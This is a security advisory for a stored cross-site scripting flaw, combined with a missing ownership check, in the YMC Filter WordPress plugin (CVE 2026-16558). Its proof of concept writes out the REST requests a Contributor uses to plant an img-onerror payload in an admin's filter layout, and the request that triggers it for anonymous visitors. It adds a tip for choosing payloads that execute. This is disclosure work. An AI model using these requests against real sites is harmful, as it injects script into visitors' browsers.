YMC Filter < 3.12.8 – Contributor+ Stored XSS via Layout Builder Schema | CVE 2026-16558

Description

The plugin does not sanitize and escape a layout builder setting before outputting it on a public endpoint, and does not verify object ownership when the setting is saved, allowing users with the Contributor role and above to store JavaScript that executes in the browser of any visitor viewing an affected filter.

Proof of Concept

Prerequisites (admin-side, non-default):
- The site has a YMC Filter "filter" (ymc_filters post) configured to use the Custom
  Layout in Builder mode (Post Layout = Custom, Layout Builder mode = Builder). Note its
  post ID (the "filter id"). The attack targets this admin-owned filter.

Attacker role: Contributor (can log in to wp-admin; lacks unfiltered_html).

1. As the Contributor, obtain a wp_rest nonce from any wp-admin context, e.g.:
   GET https://victim.example/wp-admin/admin-ajax.php?action=rest-nonce
   -> returns the wp_rest nonce (used as X-WP-Nonce).

2. Store the payload on the ADMIN-owned filter via IDOR (no ownership check):
   POST https://victim.example/wp-json/ymc/v1/admin/layouts/save-layout
   Headers: X-WP-Nonce: <nonce>; Content-Type: application/json
   Body:
   {"post_id":<admin filter id>,
    "data":{"schema":{"type":"card","children":[
      {"type":"divider","settings":{
         "color":"red'><img src=x onerror=alert(document.domain)>",
         "style":"solid"}}]}}}
   -> {"success":true,"data":{"message":"Layout saved",...}}
      (schema stored raw in post meta ymc_fg_lb_layout_schema, cross-owner)

3. Trigger execution as an UNAUTHENTICATED visitor (no cookies):
   POST https://victim.example/wp-json/ymc/v1/posts/filter
   Headers: Content-Type: application/json
   Body: {"params":{"filter_id":<admin filter id>,"post_types":["post"]}}
   -> data.rendered_posts contains, UNESCAPED:
      <hr class='post-card__divider sb-divider ' style='border-top: 1px solid red'>
      <img src=x onerror=alert(document.domain)>; margin-top: 10px; ...>

   The same markup is served on any public page embedding the filter (e.g. via the
   [ymc_filter id="<id>"] shortcode). The plugin's frontend script inserts
   data.rendered_posts into the DOM via element.innerHTML, so the onerror handler
   executes in the browser of every visitor (and any logged-in admin) who loads it.

Note: a bare <script> payload is injected but will NOT run under innerHTML insertion;
use an event-handler payload (<img onerror> / <svg onload>) to demonstrate execution.